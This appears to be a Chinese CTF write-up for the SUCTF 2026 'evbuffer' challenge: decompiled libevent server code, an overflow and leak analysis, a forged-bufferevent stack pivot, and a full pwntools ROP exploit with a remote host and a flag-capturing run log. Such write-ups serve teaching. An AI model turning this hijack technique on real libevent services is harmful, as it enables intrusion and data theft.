这道题其实不难,如果完整调试过高版本 _IO_FILE 利用链,这题自然不在话下,原理是相通的
比赛时已经能够劫持执行流了,但是就是不知道怎么在仅有 libevent 的情况下拿到 flag,赛后一看别人的 wp,结果 libc 相对 libevent 竟然是固定偏移,有 libc 的话就可以直接控 rsp 做 ROP 了。同门惊呼:“为何我本地它们的偏移不固定?”
有 libc 后也是很快本地跑通了,本文基于用 SU Team 提供的 docker 复现的结果撰写
比赛 repo: https://github.com/team-su/SUCTF-2026/tree/main
1 程序分析
开了沙箱禁用 exec,并且保护全开
程序监听 8888/UDP 和 8889/TCP 端口,并分别设有处理函数
其中 TCP 连接的处理用到了 libevent 库,也是本题的主角
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| int __fastcall main(int argc, const char **argv, const char **envp) { unsigned int fd; __int64 v5; struct sockaddr addr; _QWORD v7[4];
v7[3] = __readfsqword(0x28u); seccomp_ban_exec(); g_event_base = event_base_new(*(__int64 *)&argc, (__int64)argv); memset(&g_udp_state, 0, 0x70uLL); fd = socket(2, 2, 0); *(_QWORD *)&addr.sa_family = 2LL; *(_QWORD *)&addr.sa_data[6] = 0LL; *(_WORD *)addr.sa_data = htons(0x22B9u); bind(fd, &addr, 0x10u); g_udp_state.connection_type = 0; *(_DWORD *)g_udp_state.padding = fd; v5 = event_new(g_event_base, fd, 18LL, (__int64)udp_read_callback, (__int64)&g_udp_state); event_add(v5, 0LL); v7[0] = 2LL; v7[1] = 0LL; WORD1(v7[0]) = htons(0x22B8u); evconnlistener_new_bind(g_event_base, tcp_accept_callback, 0LL, 10LL, 0xFFFFFFFFLL, v7, 16LL); event_base_dispatch(g_event_base); return 0; }
|
其中 UDP 端口接收的内容会先存在栈上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| unsigned __int64 __fastcall udp_read_callback(int a1, __int64 a2, __int64 a3) { socklen_t addr_len; int v5; __int64 v6; sockaddr addr; _BYTE buf[1032]; unsigned __int64 v9;
v9 = __readfsqword(0x28u); v6 = a3; addr_len = 16; v5 = recvfrom(a1, buf, 0x3FFuLL, 0, &addr, &addr_len); process_packet(v6, buf, v5, &addr); return v9 - __readfsqword(0x28u); }
|
两个端口的处理最后都会进入一个 process_packet 函数,a1 是各自的 state struct 地址,在 bss 节上,a2 是栈地址,保存了收到的内容,a3 是收到的内容的长度
inet_pton 函数要求发送的数据开头必须是合规的 IP 地址,以 \x00 结尾
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| unsigned __int64 __fastcall process_packet(__int64 a1, _BYTE *a2, int a3, const struct sockaddr *a4) { __int64 v4; __int64 v5; __int64 v6; __int64 v7; _QWORD *s; __int64 output; char name[8]; __int64 v14; __int64 v15; __int64 v16; __int64 v17; __int64 v18; __int64 v19; __int64 v20; unsigned __int64 v21;
v21 = __readfsqword(0x28u); if ( a3 > 0 ) { a2[a3] = 0; s = malloc(0x50uLL); if ( s ) { memset(s, 0, 0x50uLL); if ( inet_pton(2, a2, (char *)s + 4) ) { *(_WORD *)s = 2; gethostname(name, 0x40uLL); v4 = v14; s[2] = *(_QWORD *)name; s[3] = v4; v5 = v16; s[4] = v15; s[5] = v5; v6 = v18; s[6] = v17; s[7] = v6; v7 = v20; s[8] = v19; s[9] = v7; memcpy((void *)a1, a2, a3); if ( *(_DWORD *)(a1 + 32) == 1 && *(_QWORD *)(a1 + 40) ) { output = bufferevent_get_output(*(_QWORD *)(a1 + 40)); evbuffer_add_reference(output, (__int64)s, 80LL, (__int64)sub_1381, 0LL); } else { sendto(*(_DWORD *)(a1 + 48), s, 0x50uLL, 0, a4, 0x10u); free(s); } } else { free(s); } } } return v21 - __readfsqword(0x28u); }
|
漏洞就在这个函数里,memcpy((void *)a1, a2, a3) 存在缓冲区溢出
回包发送的是 s 的 0x50 字节,而 s 里面保存了栈上的残留信息,造成地址泄露
2 漏洞利用
利用思路如下:
- 程序回包泄露地址
- 在栈上伪造 bufferevent 结构体
- 发送 UDP 包触发溢出漏洞,覆盖 bss 节上保存的 TCP bufferevent 地址
- 发送 TCP 包触发
evbuffer_add_reference,触发伪造的 bufferevent 中的回调函数劫持控制流
2.1 地址泄露
利用程序回包发送的栈上内容可以泄露地址,包括 PIE、libevent、stack、heap,然后 libc 基址可以通过 libevent 减去一定偏移算出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| ip = b"0.0.0.0\x00"
io_tcp = remote(HOST, PORT_TCP, typ="tcp") io_tcp.send(ip) leak = io_tcp.recv() leaked_libevent = u64(leak[0x18:0x20]) leaked_heap = u64(leak[0x28:0x30]) libevent_base = leaked_libevent - 0x137d8 g_event_base = leaked_heap - 0x8b0
libc_base = libevent_base - 0x249000 log.info("leaked_libevent: " + hex(leaked_libevent)) log.info("libevent_base: " + hex(libevent_base)) log.info("libc_base: " + hex(libc_base)) log.info("g_event_base: " + hex(g_event_base))
io_udp = remote(HOST, PORT_UDP, typ="udp") io_udp.send(ip) leak = io_udp.recv() leaked_stack = u64(leak[0x40:0x48]) leaked_pie = u64(leak[0x48:0x50]) pie_base = leaked_pie - 0x1619 stack_buf = leaked_stack - 0x3d0 log.info("leaked_stack: " + hex(leaked_stack)) log.info("stack_buf: " + hex(stack_buf)) log.info("pie_base: " + hex(pie_base))
|
结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| [+] Opening connection to 127.0.0.1 on port 8888: Done [DEBUG] Sent 0x8 bytes: 00000000 30 2e 30 2e 30 2e 30 00 │0.0.│0.0·│ 00000008 [DEBUG] Received 0x50 bytes: 00000000 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000010 70 77 6e 00 00 00 00 00 d8 87 60 b1 ad 70 00 00 │pwn·│····│··`·│·p··│ 00000020 08 00 00 00 00 00 00 00 70 dd 1f 4d ca 63 00 00 │····│····│p··M│·c··│ 00000030 08 00 00 00 00 00 00 00 ff 03 00 00 00 00 00 00 │····│····│····│····│ 00000040 00 00 00 00 00 00 00 00 1a 8b 60 b1 ad 70 00 00 │····│····│··`·│·p··│ 00000050 [*] leaked_libevent: 0x70adb16087d8 [*] libevent_base: 0x70adb15f5000 [*] libc_base: 0x70adb13ac000 [*] g_event_base: 0x63ca4d1fd4c0 [+] Opening connection to 127.0.0.1 on port 8889: Done [DEBUG] Sent 0x8 bytes: 00000000 30 2e 30 2e 30 2e 30 00 │0.0.│0.0·│ 00000008 [DEBUG] Received 0x50 bytes: 00000000 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000010 70 77 6e 00 00 00 00 00 1a 8b 60 b1 ad 70 00 00 │pwn·│····│··`·│·p··│ 00000020 00 8e f7 32 fe 7f 00 00 00 c9 93 e2 52 8f 93 b5 │···2│····│····│R···│ 00000030 70 dd 1f 4d ca 63 00 00 08 00 00 00 00 00 00 00 │p··M│·c··│····│····│ 00000040 00 8e f7 32 fe 7f 00 00 19 36 e9 1e ca 63 00 00 │···2│····│·6··│·c··│ 00000050 [*] leaked_stack: 0x7ffe32f78e00 [*] stack_buf: 0x7ffe32f78a30 [*] pie_base: 0x63ca1ee92000
|
2.2 伪造 bufferevent
这里主要分析 TCP 的处理,关键在于 evbuffer_add_reference 函数有哪些检查,如何调用回调函数
1 2 3 4 5
| if ( *(_DWORD *)(a1 + 32) == 1 && *(_QWORD *)(a1 + 40) ) { output = bufferevent_get_output(*(_QWORD *)(a1 + 40)); evbuffer_add_reference(output, (__int64)s, 80LL, (__int64)sub_1381, 0LL); }
|
接下来我们以 evbuf 来称呼伪造的 bufferevent 结构体指针
首先 bufferevent_get_output 取出 evbuf->output,在偏移 0x118 的位置
1 2 3 4
| __int64 __fastcall bufferevent_get_output(__int64 a1) { return *(_QWORD *)(a1 + 280); }
|
然后以 evbuf->output 作为参数传进 evbuffer_add_reference
可以很明显看到里边有一个 evbuffer_invoke_callbacks_ 函数,看起来就是调用回调函数的,要进入其中要过 3 个检查:
evbuf->output 偏移 0x30 处要为 0
evbuf->output 偏移 0x38 处和 4 相与要为 0
sub_EE50((_QWORD *)a1, v9) 正常返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| __int64 __fastcall evbuffer_add_reference(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5) { __int64 v8; __int64 v9; unsigned int v10;
v8 = sub_E620(0x10uLL); if ( v8 ) { *(_DWORD *)(v8 + 32) |= 0xCu; v9 = v8; *(_QWORD *)(v8 + 40) = a2; *(_QWORD *)(v8 + 8) = a3; *(_QWORD *)(v8 + 24) = a3; *(_QWORD *)(v8 + 48) = a4; *(_QWORD *)(v8 + 56) = a5; if ( *(_QWORD *)(a1 + 48) ) evthread_lock_fns_[3](0LL); if ( (*(_BYTE *)(a1 + 56) & 4) != 0 ) { v10 = -1; event_mm_free_(v9); } else { v10 = 0; sub_EE50((_QWORD *)a1, v9); *(_QWORD *)(a1 + 32) += a3; evbuffer_invoke_callbacks_(a1); } if ( *(_QWORD *)(a1 + 48) ) evthread_lock_fns_[4](0LL); } else { return (unsigned int)-1; } return v10; }
|
过掉 sub_EE50((_QWORD *)a1, v9) 函数的要求如下:
evbuf->output 偏移 0x10 处保存 evbuf->output
evbuf->output 偏移 0 处要为 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| __int64 __fastcall sub_EE50(_QWORD *a1, __int64 a2) { _QWORD *v3; _QWORD *v4; __int64 result;
if ( a1[6] && evthread_lock_debugging_enabled_ && !(unsigned int)evthread_is_debug_lock_held_() ) event_errx(-559030611, (char)&iovec); v3 = (_QWORD *)a1[2]; if ( *v3 ) { v4 = sub_3CFF0(v3); *v4 = a2; if ( *(_QWORD *)(a2 + 24) ) a1[2] = v4; a1[1] = a2; result = *(_QWORD *)(a2 + 24); a1[3] += result; } else { if ( v3 != a1 ) event_errx(-559030611, (char)&iovec); a1[1] = a2; *a1 = a2; result = *(_QWORD *)(a2 + 24); a1[3] += result; } return result; }
|
然后进入 evbuffer_invoke_callbacks_,里面只有 sub_EF40 函数可能和回调有关,其他的函数名都像是额外检查。进入 sub_EF40 要求如下:
evbuf->output 偏移 0x78 处不为 0
evbuf->output 偏移 0x38 处和 8 相与要为 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| void __fastcall evbuffer_invoke_callbacks_(__int64 a1) { if ( *(_QWORD *)(a1 + 120) ) { if ( (*(_BYTE *)(a1 + 56) & 8) != 0 && (unsigned int)event_deferred_cb_schedule_(*(_QWORD *)(a1 + 64), a1 + 80) ) { evbuffer_incref_and_lock_(a1); if ( *(_QWORD *)(a1 + 128) ) bufferevent_incref(); if ( *(_QWORD *)(a1 + 48) ) evthread_lock_fns_[4](0LL); } sub_EF40(a1, 0); } else { *(_QWORD *)(a1 + 40) = 0LL; *(_QWORD *)(a1 + 32) = 0LL; } }
|
最后正式进入回调处理,可以看到很明显有一个 while 循环不断的 call v11,而且 v11 也在更新
这里有 2 个分支,我们选择进入 if ( (v10 & 0x40000) != 0 ) 分支,相关分析如下:
evbuf->output 偏移 0x78 处是回调函数链,即 evbuf->output->callbacks
evbuf->output->callbacks 偏移 0 处是 next 指针,也就是下一个要执行的回调
evbuf->output->callbacks 偏移 0x10 处是要调用的函数指针
evbuf->output->callbacks 偏移 0x20 处填 0x40001 过检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| unsigned __int64 __fastcall sub_EF40(__int64 a1, _BOOL4 a2) { _BOOL4 v2; int v3; int v4; _QWORD *v5; __int64 v6; __int64 v7; __int64 v8; _QWORD *v9; int v10; void (__fastcall *v11)(__int64, _QWORD, __int64, _QWORD); _QWORD v13[3]; unsigned __int64 v14;
v14 = __readfsqword(0x28u); if ( a2 ) { v2 = a2; v3 = 1; v4 = 3; } else { v2 = (*(_BYTE *)(a1 + 56) & 8) == 0; v3 = (*(_BYTE *)(a1 + 56) & 8) == 0 ? 1 : 3; v4 = v3; } if ( *(_QWORD *)(a1 + 48) && evthread_lock_debugging_enabled_ && !(unsigned int)evthread_is_debug_lock_held_() ) event_errx(-559030611, (char)&iovec); v5 = *(_QWORD **)(a1 + 120); if ( v5 ) { v6 = *(_QWORD *)(a1 + 32); v7 = *(_QWORD *)(a1 + 40); if ( *(_OWORD *)(a1 + 32) != 0LL ) { v8 = *(_QWORD *)(a1 + 24); v13[1] = *(_QWORD *)(a1 + 32); v13[2] = v7; v13[0] = v8 + v7 - v6; if ( v2 ) { *(_QWORD *)(a1 + 32) = 0LL; *(_QWORD *)(a1 + 40) = 0LL; } while ( 1 ) { v9 = v5; v5 = (_QWORD *)*v5; v10 = *((_DWORD *)v9 + 8); if ( (v4 & v10) != v3 ) goto LABEL_11; v11 = (void (__fastcall *)(__int64, _QWORD, __int64, _QWORD))v9[2]; if ( (v10 & 0x40000) != 0 ) { v11(a1, v13[0], v8, v9[3]); LABEL_11: if ( !v5 ) return v14 - __readfsqword(0x28u); } else { ((void (__fastcall *)(__int64, _QWORD *, _QWORD))v11)(a1, v13, v9[3]); if ( !v5 ) return v14 - __readfsqword(0x28u); } } } } else { *(_QWORD *)(a1 + 40) = 0LL; *(_QWORD *)(a1 + 32) = 0LL; } return v14 - __readfsqword(0x28u); }
|
最后我们要达成调用 evbuf->output->callbacks 偏移 0x10 处的 gadget
evbuf->output 偏移 0x18 处在实际调用函数时会作为 rdx,gdb 调试发现会在前面的处理过程中加 0x50,通过在这里填写 ROP 链地址减 0x50,调用 libc 中的 mov rsp, rdx ; ret,就可以做 ROP 了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| fake_bufferevent_addr = stack_buf + 0x80 fake_callbacks_addr = fake_bufferevent_addr + 0x80 rop_addr = fake_bufferevent_addr + 0x120
fake_bufferevent = p64(0) + p64(0) fake_bufferevent += p64(fake_bufferevent_addr) fake_bufferevent += p64(rop_addr - 0x50) fake_bufferevent += p64(rop_addr - 0x50) fake_bufferevent += p64(fake_bufferevent_addr) fake_bufferevent = fake_bufferevent.ljust(0x78, b"\x00") fake_bufferevent += p64(fake_callbacks_addr) fake_bufferevent += p64(0) fake_bufferevent += p64(0) fake_bufferevent += p64(mov_rsp_rdx) fake_bufferevent += p64(0) fake_bufferevent += p64(0x40001) fake_bufferevent += p64(0) fake_bufferevent = fake_bufferevent.ljust(0x118, b"\x00") fake_bufferevent += p64(fake_bufferevent_addr)
|
2.3 缓冲区溢出触发劫持
最后利用 UDP 发包溢出 .bss 节上的 bufferevent 地址,覆盖成我们在栈上伪造的 bufferevent,劫持控制流
ROP 就是做 ORW 然后利用 pwn 程序中调用 sendto 的代码片段,给 UDP 端口建立的连接发 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| rop = p64(pop_rdi) + p64(stack_buf+0x10) + p64(pop_rsi) + p64(0) + p64(open) rop += p64(pop_rdi) + p64(9) + p64(pop_rsi) + p64(stack_buf+0x18) + p64(pop_rdx_rbp_r12) + p64(0x100) + p64(0) * 2 + p64(read) rop += p64(pop_rdx_rbp_r12) + p64(stack_buf-0x10) + p64(0) * 2 + p64(pop_rax) + p64(6) + p64(pop_rsi) + p64(stack_buf+0x18) + p64(call_sendto)
payload = ip.ljust(0x10, b"\x00") payload += b'flag\x00' payload = payload.ljust(0x58, b"\x00") payload += p64(1) + p64(fake_bufferevent_addr) payload += p64(0) + p64(g_event_base)
payload = payload.ljust(0x80, b"\x00") payload += fake_bufferevent + rop
io_udp.send(payload) io_tcp.send(ip)
io_udp.interactive()
|

3 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| from pwn import *
elf = ELF("./pwn")
context(os=elf.os, arch=elf.arch, log_level="debug")
def exploit(): ip = b"0.0.0.0\x00"
io_tcp = remote(HOST, PORT_TCP, typ="tcp") io_tcp.send(ip) leak = io_tcp.recv() leaked_libevent = u64(leak[0x18:0x20]) leaked_heap = u64(leak[0x28:0x30]) libevent_base = leaked_libevent - 0x137d8 g_event_base = leaked_heap - 0x8b0 libc_base = libevent_base - 0x249000 log.info("leaked_libevent: " + hex(leaked_libevent)) log.info("libevent_base: " + hex(libevent_base)) log.info("libc_base: " + hex(libc_base)) log.info("g_event_base: " + hex(g_event_base))
io_udp = remote(HOST, PORT_UDP, typ="udp") io_udp.send(ip) leak = io_udp.recv() leaked_stack = u64(leak[0x40:0x48]) leaked_pie = u64(leak[0x48:0x50]) pie_base = leaked_pie - 0x1619 stack_buf = leaked_stack - 0x3d0 log.info("leaked_stack: " + hex(leaked_stack)) log.info("stack_buf: " + hex(stack_buf)) log.info("pie_base: " + hex(pie_base))
call_sendto = pie_base + 0x154A open = libc_base + 0x114560 read = libc_base + 0x114850 mov_rsp_rdx = libc_base + 0x5a120 pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0x2be51 pop_rdx_rbp_r12 = libc_base + 0xa85a9 pop_rax = libc_base + 0x45eb0
fake_bufferevent_addr = stack_buf + 0x80 fake_callbacks_addr = fake_bufferevent_addr + 0x80 rop_addr = fake_bufferevent_addr + 0x120
fake_bufferevent = p64(0) + p64(0) fake_bufferevent += p64(fake_bufferevent_addr) fake_bufferevent += p64(rop_addr - 0x50) fake_bufferevent += p64(rop_addr - 0x50) fake_bufferevent += p64(fake_bufferevent_addr) fake_bufferevent = fake_bufferevent.ljust(0x78, b"\x00") fake_bufferevent += p64(fake_callbacks_addr) fake_bufferevent += p64(0) fake_bufferevent += p64(0) fake_bufferevent += p64(mov_rsp_rdx) fake_bufferevent += p64(0) fake_bufferevent += p64(0x40001) fake_bufferevent += p64(0) fake_bufferevent = fake_bufferevent.ljust(0x118, b"\x00") fake_bufferevent += p64(fake_bufferevent_addr)
rop = p64(pop_rdi) + p64(stack_buf+0x10) + p64(pop_rsi) + p64(0) + p64(open) rop += p64(pop_rdi) + p64(9) + p64(pop_rsi) + p64(stack_buf+0x18) + p64(pop_rdx_rbp_r12) + p64(0x100) + p64(0) * 2 + p64(read) rop += p64(pop_rdx_rbp_r12) + p64(stack_buf-0x10) + p64(0) * 2 + p64(pop_rax) + p64(6) + p64(pop_rsi) + p64(stack_buf+0x18) + p64(call_sendto)
payload = ip.ljust(0x10, b"\x00") payload += b'flag\x00' payload = payload.ljust(0x58, b"\x00") payload += p64(1) + p64(fake_bufferevent_addr) payload += p64(0) + p64(g_event_base)
payload = payload.ljust(0x80, b"\x00") payload += fake_bufferevent + rop
pause()
io_udp.send(payload) io_tcp.send(ip)
io_udp.interactive()
if __name__ == "__main__": global HOST, PORT_UDP, PORT_TCP
if args.REMOTE: HOST = "101.245.104.190" PORT_UDP = 10015 PORT_TCP = 10005 else: HOST = "127.0.0.1" PORT_UDP = 8889 PORT_TCP = 8888
exploit()
|
本地运行结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| (pwn)secreu@Vanilla:~/code/CTF/SUCTF2026/evbuffer$ python exp.py [*] '/home/secreu/code/CTF/SUCTF2026/evbuffer/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'./' [+] Opening connection to 127.0.0.1 on port 8888: Done [DEBUG] Sent 0x8 bytes: 00000000 30 2e 30 2e 30 2e 30 00 │0.0.│0.0·│ 00000008 [DEBUG] Received 0x50 bytes: 00000000 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000010 70 77 6e 00 00 00 00 00 d8 87 60 b1 ad 70 00 00 │pwn·│····│··`·│·p··│ 00000020 08 00 00 00 00 00 00 00 70 dd 1f 4d ca 63 00 00 │····│····│p··M│·c··│ 00000030 08 00 00 00 00 00 00 00 ff 03 00 00 00 00 00 00 │····│····│····│····│ 00000040 00 00 00 00 00 00 00 00 1a 8b 60 b1 ad 70 00 00 │····│····│··`·│·p··│ 00000050 [*] leaked_libevent: 0x70adb16087d8 [*] libevent_base: 0x70adb15f5000 [*] libc_base: 0x70adb13ac000 [*] g_event_base: 0x63ca4d1fd4c0 [+] Opening connection to 127.0.0.1 on port 8889: Done [DEBUG] Sent 0x8 bytes: 00000000 30 2e 30 2e 30 2e 30 00 │0.0.│0.0·│ 00000008 [DEBUG] Received 0x50 bytes: 00000000 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000010 70 77 6e 00 00 00 00 00 1a 8b 60 b1 ad 70 00 00 │pwn·│····│··`·│·p··│ 00000020 00 8e f7 32 fe 7f 00 00 00 c9 93 e2 52 8f 93 b5 │···2│····│····│R···│ 00000030 70 dd 1f 4d ca 63 00 00 08 00 00 00 00 00 00 00 │p··M│·c··│····│····│ 00000040 00 8e f7 32 fe 7f 00 00 19 36 e9 1e ca 63 00 00 │···2│····│·6··│·c··│ 00000050 [*] leaked_stack: 0x7ffe32f78e00 [*] stack_buf: 0x7ffe32f78a30 [*] pie_base: 0x63ca1ee92000 [DEBUG] Sent 0x258 bytes: 00000000 30 2e 30 2e 30 2e 30 00 00 00 00 00 00 00 00 00 │0.0.│0.0·│····│····│ 00000010 2f 66 6c 61 67 00 00 00 00 00 00 00 00 00 00 00 │/fla│g···│····│····│ 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000050 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 │····│····│····│····│ 00000060 b0 8a f7 32 fe 7f 00 00 00 00 00 00 00 00 00 00 │···2│····│····│····│ 00000070 c0 d4 1f 4d ca 63 00 00 00 00 00 00 00 00 00 00 │···M│·c··│····│····│ 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000090 b0 8a f7 32 fe 7f 00 00 80 8b f7 32 fe 7f 00 00 │···2│····│···2│····│ 000000a0 80 8b f7 32 fe 7f 00 00 b0 8a f7 32 fe 7f 00 00 │···2│····│···2│····│ 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 000000f0 00 00 00 00 00 00 00 00 30 8b f7 32 fe 7f 00 00 │····│····│0··2│····│ 00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000110 20 61 40 b1 ad 70 00 00 00 00 00 00 00 00 00 00 │ a@·│·p··│····│····│ 00000120 01 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000190 00 00 00 00 00 00 00 00 b0 8a f7 32 fe 7f 00 00 │····│····│···2│····│ 000001a0 e5 63 3d b1 ad 70 00 00 40 8a f7 32 fe 7f 00 00 │·c=·│·p··│@··2│····│ 000001b0 51 7e 3d b1 ad 70 00 00 00 00 00 00 00 00 00 00 │Q~=·│·p··│····│····│ 000001c0 60 05 4c b1 ad 70 00 00 e5 63 3d b1 ad 70 00 00 │`·L·│·p··│·c=·│·p··│ 000001d0 09 00 00 00 00 00 00 00 51 7e 3d b1 ad 70 00 00 │····│····│Q~=·│·p··│ 000001e0 48 8a f7 32 fe 7f 00 00 a9 45 45 b1 ad 70 00 00 │H··2│····│·EE·│·p··│ 000001f0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000200 00 00 00 00 00 00 00 00 50 08 4c b1 ad 70 00 00 │····│····│P·L·│·p··│ 00000210 a9 45 45 b1 ad 70 00 00 20 8a f7 32 fe 7f 00 00 │·EE·│·p··│ ··2│····│ 00000220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000230 b0 1e 3f b1 ad 70 00 00 06 00 00 00 00 00 00 00 │··?·│·p··│····│····│ 00000240 51 7e 3d b1 ad 70 00 00 48 8a f7 32 fe 7f 00 00 │Q~=·│·p··│H··2│····│ 00000250 4a 35 e9 1e ca 63 00 00 │J5··│·c··│ 00000258 [DEBUG] Sent 0x8 bytes: 00000000 30 2e 30 2e 30 2e 30 00 │0.0.│0.0·│ 00000008 [*] Switching to interactive mode [DEBUG] Received 0x50 bytes: 00000000 66 6c 61 67 7b 38 30 65 35 39 66 37 38 2d 64 32 │flag│{80e│59f7│8-d2│ 00000010 61 33 2d 34 65 36 61 2d 62 62 62 66 2d 38 30 32 │a3-4│e6a-│bbbf│-802│ 00000020 37 64 32 35 63 32 62 39 62 7d 0a 00 00 00 00 00 │7d25│c2b9│b}··│····│ 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000040 01 00 00 00 00 00 00 00 b0 8a f7 32 fe 7f 00 00 │····│····│···2│····│ 00000050 flag{80e59f78-d2a3-4e6a-bbbf-8027d25c2b9b} \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb0\x8a\xf72\xfe\x7f\x00\x00$ [*] Interrupted [*] Closed connection to 127.0.0.1 port 8889 [*] Closed connection to 127.0.0.1 port 8888
|